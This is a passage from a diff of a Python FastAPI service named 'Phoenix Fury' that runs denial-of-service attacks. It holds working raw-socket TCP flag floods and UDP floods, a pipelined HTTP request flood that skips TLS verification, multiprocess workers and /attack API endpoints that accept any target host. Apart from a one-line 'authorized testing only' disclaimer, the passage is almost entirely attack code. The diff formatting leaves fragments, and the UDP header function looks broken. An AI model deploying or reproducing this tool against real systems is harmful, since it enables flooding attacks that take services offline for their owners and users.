+
return ip
|
| 123 |
+
except Exception:
|
| 124 |
+
return "127.0.0.1"
|
| 125 |
+
|
| 126 |
+
def calculate_checksum(data: bytes) -> int:
|
| 127 |
+
"""Calculate IP/TCP/UDP checksum."""
|
| 128 |
+
s = 0
|
| 129 |
+
if len(data) % 2:
|
| 130 |
+
data += b'\0'
|
| 131 |
+
for i in range(0, len(data), 2):
|
| 132 |
+
s += (data[i] << 8) + data[i+1]
|
| 133 |
+
s = (s >> 16) + (s & 0xffff)
|
| 134 |
+
s += (s >> 16)
|
| 135 |
+
return (~s) & 0xffff
|
| 136 |
+
|
| 137 |
+
def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
|
| 138 |
+
"""Create a raw IP header."""
|
| 139 |
+
header = struct.pack('!BBHHHBBH4s4s',
|
| 140 |
+
(4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
|
| 141 |
+
socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
|
| 142 |
+
)
|
| 143 |
+
checksum = calculate_checksum(header)
|
| 144 |
+
return header[:10] + struct.pack('!H', checksum) + header[12:]
|
| 145 |
+
|
| 146 |
+
def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
|
| 147 |
+
"""Create a raw TCP header with specified flags."""
|
| 148 |
+
seq = random.randint(1, 4294967295)
|
| 149 |
+
ack_seq = 0
|
| 150 |
+
header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
|
| 151 |
+
pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
|
| 152 |
+
checksum = calculate_checksum(pseudo_header + header)
|
| 153 |
+
return header[:16] + struct.pack('!H', checksum) + header[18:]
|
| 154 |
+
|
| 155 |
+
def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
|
| 156 |
+
"""Create a raw UDP header."""
|
| 157 |
+
udp_len = 8 + len(payload)
|
| 158 |
+
header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
|
| 159 |
+
pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
|
| 160 |
checksum = calculate_checksum(pseudo_header + header + payload)
|
| 161 |
+
return header[:6] + struct.pack('!H', checksum)
|
|
|
|
|
|
|
|
|
|
| 162 |
|
| 163 |
# ====================================================================================
|
| 164 |
+
# WORKER PROCESSES
|
| 165 |
+
# ====================================================================================
|
| 166 |
|
| 167 |
+
def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
|
| 168 |
+
"""Ultra-optimized L4 worker using raw sockets for maximum PPS."""
|
| 169 |
+
try:
|
| 170 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
| 171 |
+
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
| 172 |
+
# Increase socket buffer for higher throughput
|
| 173 |
+
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
|
| 174 |
+
local_ip = get_local_ip(target_ip)
|
| 175 |
+
except Exception as e:
|
| 176 |
+
print(f"[Worker PID {os.getpid()}] L4 Init Error: {e}. Raw sockets often require root privileges.", file=sys.stderr)
|
| 177 |
+
return
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 178 |
|
| 179 |
+
local_counter = 0
|
| 180 |
+
flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
|
| 181 |
|
| 182 |
+
# Pre-generate payload for UDP flood to avoid overhead in the loop
|
| 183 |
+
if attack_type == 'udp':
|
| 184 |
+
payload = os.urandom(method_details)
|
| 185 |
+
udp_len = 8 + len(payload)
|
| 186 |
|
| 187 |
+
# Main packet crafting loop - optimized for speed
|
| 188 |
+
while not stop_event.is_set():
|
| 189 |
+
try:
|
| 190 |
+
src_port = random.randint(10000, 65535)
|
| 191 |
+
|
| 192 |
+
if attack_type == 'tcp':
|
| 193 |
+
ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 194 |
tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
|
| 195 |
+
packet = ip_header + tcp_header
|
| 196 |
+
else: # udp
|
| 197 |
+
ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
|
| 198 |
+
udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
|
| 199 |
+
packet = ip_header + udp_header + payload
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 200 |
|
| 201 |
+
sock.sendto(packet, (target_ip, port))
|
| 202 |
+
local_counter += 1
|
| 203 |
+
|
| 204 |
+
# Batch counter updates for performance
|
| 205 |
+
if local_counter >= STATS_BATCH_UPDATE_SIZE:
|
| 206 |
+
with shared_counter.get_lock():
|
| 207 |
+
shared_counter.value += local_counter
|
| 208 |
+
local_counter = 0
|
| 209 |
+
except Exception:
|
| 210 |
+
pass # Ignore send errors for maximum speed
|
| 211 |
+
|
| 212 |
+
# Final counter update before exiting
|
| 213 |
+
if local_counter > 0:
|
| 214 |
+
with shared_counter.get_lock():
|
| 215 |
+
shared_counter.value += local_counter
|
| 216 |
+
sock.close()
|
| 217 |
|
| 218 |
+
def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, requests_per_conn):
|
| 219 |
+
"""Simple but effective L7 worker using standard blocking sockets."""
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 220 |
use_ssl = (port in [443, 8443])
|
| 221 |
+
host_header = target_ip # Use IP in host header for direct attacks
|
| 222 |
|
| 223 |
+
http_template = f"{method.upper()} {path}?r={{}} HTTP/1.1\r\nHost: {host_header}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
|
| 224 |
+
http_request = http_template.encode()
|
| 225 |
|
| 226 |
local_counter = 0
|
|
|
|
|
|
|
|
|
|
|
|
|
| 227 |
|
| 228 |
+
# TIGHT LOOP: Connect -> Send burst -> Disconnect -> Repeat
|
| 229 |
while not stop_event.is_set():
|
| 230 |
sock = None
|
| 231 |
try:
|
|
|
|
| 232 |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
| 233 |
sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
|
|
|
|
| 234 |
sock.settimeout(3)
|
| 235 |
+
sock.connect((target_ip, port))
|
|
|
|
|
|
|
|
|
|
| 236 |
|
| 237 |
if use_ssl:
|
| 238 |
+
context = ssl.create_default_context()
|
|
|
|
| 239 |
context.check_hostname = False
|
| 240 |
+
context.verify_mode = ssl.CERT_NONE
|
| 241 |
+
sock = context.wrap_socket(sock, server_hostname=target_ip)
|
| 242 |
|
| 243 |
+
# Send a burst of pipelined requests
|
| 244 |
for i in range(requests_per_conn):
|
| 245 |
if stop_event.is_set():
|
| 246 |
break
|
|
|
|
| 247 |
try:
|
| 248 |
+
sock.send(http_request.replace(b'{}', str(random.randint(1,99999)).encode()))
|
|
|
|
| 249 |
local_counter += 1
|
| 250 |
+
except (socket.error, BrokenPipeError):
|
| 251 |
+
break # Connection broke, reconnect
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 252 |
|
| 253 |
+
except (socket.error, ssl.SSLError, ConnectionRefusedError, TimeoutError):
|
| 254 |
+
time.sleep(0.1) # Brief pause on connection failure
|
|
|
|
|
|
|
| 255 |
finally:
|
| 256 |
if sock:
|
| 257 |
try:
|
| 258 |
sock.close()
|
| 259 |
+
except Exception:
|
| 260 |
pass
|
| 261 |
|
| 262 |
+
# Update shared counter in batches to reduce lock contention
|
| 263 |
if local_counter >= STATS_BATCH_UPDATE_SIZE:
|
| 264 |
with shared_counter.get_lock():
|
| 265 |
shared_counter.value += local_counter
|
|
|
|
| 269 |
if local_counter > 0:
|
| 270 |
with shared_counter.get_lock():
|
| 271 |
shared_counter.value += local_counter
|
|
|
|
|
|
|
| 272 |
|
| 273 |
# ====================================================================================
|
| 274 |
# CENTRALIZED ATTACK MANAGER (SINGLETON)
|
| 275 |
# ====================================================================================
|
| 276 |
+
|
| 277 |
class AttackManager:
|
|
|
|
| 278 |
_instance = None
|
| 279 |
|
| 280 |
def __new__(cls):
|
|
|
|
| 292 |
self._reset_state()
|
| 293 |
|
| 294 |
def _reset_state(self):
|
|
|
|
| 295 |
self.attack_active = False
|
| 296 |
self.attack_type = "None"
|
| 297 |
self.target_host = "None"
|
|
|
|
| 306 |
self.current_rate = 0.0
|
| 307 |
|
| 308 |
def is_active(self):
|
|
|
|
| 309 |
with self.lock:
|
| 310 |
return self.attack_active
|
| 311 |
|
| 312 |
def _stats_calculator(self):
|
| 313 |
+
"""Background thread to calculate current rate (RPS/PPS)."""
|
| 314 |
last_check_time = time.time()
|
| 315 |
last_count = 0
|
| 316 |
|
|
|
|
| 329 |
self.current_rate = 0.0
|
| 330 |
|
| 331 |
def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
|
|
|
|
| 332 |
with self.lock:
|
| 333 |
if self.attack_active:
|
| 334 |
+
raise HTTPException(status_code=409, detail="An attack is already in progress.")
|
| 335 |
|
| 336 |
+
self._reset_state() # Reset before starting a new one
|
| 337 |
+
|
| 338 |
try:
|
| 339 |
self.target_host = config.target
|
| 340 |
self.target_ip = resolve_target(self.target_host)
|
|
|
|
| 341 |
if family == 'l4' and not check_root():
|
| 342 |
raise PermissionError("Layer 4 attacks require root privileges.")
|
| 343 |
except (ValueError, PermissionError) as e:
|
| 344 |
+
raise HTTPException(status_code=400, detail=str(e))
|
|
|
|
|
|
|
| 345 |
|
| 346 |
self.attack_active = True
|
| 347 |
self.port = config.port
|
| 348 |
self.duration = config.duration
|
| 349 |
+
self.process_count = MAX_PROCESSES
|
| 350 |
self.start_time = time.time()
|
| 351 |
+
self.stop_event.clear()
|
| 352 |
|
| 353 |
+
worker_target, worker_args, attack_name = (None, (), "Unknown")
|
| 354 |
|
| 355 |
if family == 'l7' and isinstance(config, L7Config):
|
| 356 |
attack_name = f"L7-{config.method.upper()}"
|
| 357 |
worker_target = l7_worker_process
|
| 358 |
+
worker_args = (self.stop_event, self.counter, self.target_ip, config.port, config.path, config.method, REQUESTS_PER_CONNECTION)
|
| 359 |
+
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 360 |
elif family == 'l4':
|
| 361 |
worker_target = l4_worker_process
|
| 362 |
if isinstance(config, L4TCPConfig):
|
| 363 |
attack_name = f"L4-TCP-{config.method.upper()}"
|
| 364 |
+
worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'tcp', config.method)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 365 |
elif isinstance(config, L4UDPConfig):
|
| 366 |
attack_name = f"L4-UDP-{config.method.upper()}"
|
| 367 |
+
worker_args = (self.stop_event, self.counter, self.target_ip, config.port, 'udp', config.payload_size)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 368 |
|
| 369 |
self.attack_type = attack_name
|
| 370 |
|
| 371 |
+
print("\n" + "=" * 70)
|
| 372 |
+
print(f"🔥 PHOENIX FURY - ATTACK INITIATED 🔥")
|
| 373 |
+
print(f" Type: {self.attack_type}")
|
| 374 |
+
print(f" Target: {self.target_host}:{self.port} ({self.target_ip})")
|
| 375 |
+
print(f" Duration: {self.duration}s")
|
| 376 |
+
print(f" Processes: {self.process_count} (Auto-Optimized)")
|
| 377 |
+
print("=" * 70 + "\n")
|
|
|
|
|
|
|
|
|
|
| 378 |
|
|
|
|
| 379 |
for _ in range(self.process_count):
|
| 380 |
+
p = multiprocessing.Process(target=worker_target, args=worker_args, daemon=True)
|
| 381 |
self.processes.append(p)
|
| 382 |
p.start()
|
| 383 |
|
| 384 |
+
self.stats_thread = threading.Thread(target=self._stats_calculator, daemon=True)
|
|
|
|
| 385 |
self.stats_thread.start()
|
| 386 |
|
| 387 |
def stop(self):
|
|
|
|
| 388 |
with self.lock:
|
| 389 |
if not self.attack_active:
|
| 390 |
return
|
|
|
|
| 392 |
print(f"\n⚠️ Stop signal received. Terminating {len(self.processes)} processes...")
|
| 393 |
self.stop_event.set()
|
| 394 |
|
|
|
|
| 395 |
for p in self.processes:
|
| 396 |
+
p.join(timeout=3)
|
| 397 |
|
|
|
|
| 398 |
for p in self.processes:
|
| 399 |
if p.is_alive():
|
|
|
|
| 400 |
p.terminate()
|
| 401 |
|
|
|
|
| 402 |
if self.stats_thread:
|
| 403 |
+
self.stats_thread.join(timeout=1)
|
| 404 |
|
|
|
|
| 405 |
elapsed = time.time() - self.start_time
|
| 406 |
total_sent = self.counter.value
|
| 407 |
avg_rate = total_sent / elapsed if elapsed > 0 else 0
|
| 408 |
|
| 409 |
+
print("\n" + "=" * 50)
|
| 410 |
print("✅ ATTACK TERMINATED")
|
| 411 |
+
print(f" Total Sent: {total_sent:,}")
|
| 412 |
+
print(f" Elapsed Time: {elapsed:.2f}s")
|
| 413 |
+
print(f" Average Rate: {avg_rate:,.2f} PPS/RPS")
|
| 414 |
+
print("=" * 50 + "\n")
|
| 415 |
|
| 416 |
self._reset_state()
|
| 417 |
|
| 418 |
def get_status(self) -> StatusResponse:
|
|
|
|
| 419 |
with self.lock:
|
| 420 |
return StatusResponse(
|
| 421 |
attack_active=self.attack_active,
|
|
|
|
| 432 |
memory_usage_percent=psutil.virtual_memory().percent
|
| 433 |
)
|
| 434 |
|
|
|
|
|
|
|
| 435 |
# ====================================================================================
|
| 436 |
+
# FASTAPI APPLICATION
|
| 437 |
# ====================================================================================
|
| 438 |
+
|
| 439 |
+
app = FastAPI(
|
| 440 |
+
title="🔥 Phoenix Fury API - EXTREME PERFORMANCE Edition",
|
| 441 |
+
description="High-performance stress testing tool with auto-optimized settings. For authorized testing only.",
|
| 442 |
+
version="8.0.0"
|
| 443 |
+
)
|
| 444 |
+
|
| 445 |
+
MANAGER = AttackManager()
|
| 446 |
+
|
| 447 |
+
def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
|
| 448 |
+
"""Handles the background task lifecycle for an attack."""
|
| 449 |
+
try:
|
| 450 |
+
# The start method now raises HTTPException on failure
|
| 451 |
+
background_tasks.add_task(MANAGER.start, config, family)
|
| 452 |
+
|
| 453 |
+
# Schedule the stop task to run after the duration
|
| 454 |
+
def delayed_stop():
|
| 455 |
+
time.sleep(config.duration)
|
| 456 |
+
MANAGER.stop()
|
| 457 |
+
|
| 458 |
+
stop_thread = threading.Thread(target=delayed_stop, daemon=True)
|
| 459 |
+
stop_thread.start()
|
| 460 |
+
|
| 461 |
+
except HTTPException as e:
|
| 462 |
+
# Re-raise the exception to be handled by FastAPI
|
| 463 |
+
raise e
|
| 464 |
+
|
| 465 |
@app.on_event("startup")
|
| 466 |
async def on_startup():
|
|
|
|
| 467 |
print("=" * 80)
|
| 468 |
+
print(f"🔥 Phoenix Fury API v8.0 is online.")
|
| 469 |
+
print(f" System: {CPU_COUNT} CPU Cores, {TOTAL_RAM_GB:.1f} GB RAM")
|
| 470 |
+
print(f" Auto-Config: {MAX_PROCESSES} Worker Processes, {REQUESTS_PER_CONNECTION} L7 reqs/conn")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 471 |
if check_root():
|
| 472 |
+
print("✅ Running with root privileges - L4 attacks ENABLED.")
|
| 473 |
else:
|
| 474 |
+
print("⚠️ WARNING: Not running as root - L4 attacks will FAIL.")
|
| 475 |
print("=" * 80)
|
| 476 |
|
| 477 |
+
@app.post("/attack/layer7", status_code=202)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 478 |
def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
|
|
|
|
| 479 |
run_attack_lifecycle(config, 'l7', background_tasks)
|
| 480 |
+
return {"status": "accepted", "message": f"L7 attack initiated on {config.target}:{config.port}"}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 481 |
|
| 482 |
+
@app.post("/attack/layer4/tcp", status_code=202)
|
| 483 |
def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
|
|
|
|
| 484 |
run_attack_lifecycle(config, 'l4', background_tasks)
|
| 485 |
+
return {"status": "accepted", "message": f"L4 TCP {config.method.upper()} attack initiated on {config.target}:{config.port}"}
|
|
|
|
|
|
|
|
|
|
|
|
|
| 486 |
|
| 487 |
+
@app.post("/attack/layer4/udp", status_code=202)
|
| 488 |
def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
|
|
|
|
| 489 |
run_attack_lifecycle(config, 'l4', background_tasks)
|
| 490 |
+
return {"status": "accepted", "message": f"L4 UDP {config.method.upper()} attack initiated on {config.target}:{config.port}"}
|
|
|
|
|
|
|
|
|
|
|
|
|
| 491 |
|
| 492 |
@app.post("/attack/stop")
|
| 493 |
def api_stop_attack():
|
|
|
|
| 494 |
if not MANAGER.is_active():
|
| 495 |
return {"status": "info", "message": "No attack is currently running."}
|
| 496 |
MANAGER.stop()
|
| 497 |
+
return {"status": "success", "message": "Stop signal sent successfully."}
|
| 498 |
|
| 499 |
@app.get("/status", response_model=StatusResponse)
|
| 500 |
def get_status():
|
|
|
|
| 501 |
return MANAGER.get_status()
|
| 502 |
|
| 503 |
@app.get("/")
|
| 504 |
def root():
|
|
|
|
| 505 |
return {
|
| 506 |
+
"message": "🔥 Phoenix Fury API v8.0",
|
| 507 |
+
"docs_url": "/docs",
|
| 508 |
+
"status_url": "/status",
|
| 509 |
+
"system_info": {
|
| 510 |
"cpu_cores": CPU_COUNT,
|
| 511 |
+
"auto_configured_processes": MAX_PROCESSES,
|
| 512 |
+
"root_privileges": check_root()
|
|
|
|
|
|
|
| 513 |
}
|
| 514 |
}
|
| 515 |
|
| 516 |
+
# ====================================================================================
|
| 517 |
+
# MAIN EXECUTION BLOCK
|
| 518 |
+
# ====================================================================================
|
| 519 |
+
|
| 520 |
if __name__ == "__main__":
|
| 521 |
+
# Required for compatibility on platforms like Windows
|
| 522 |
+
multiprocessing.freeze_support()
|
| 523 |
+
|
| 524 |
+
# Use workers=1 because the AttackManager singleton holds the global state.
|
| 525 |
+
# Multiple workers would create multiple managers, leading to conflicts.
|
| 526 |
+
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)
|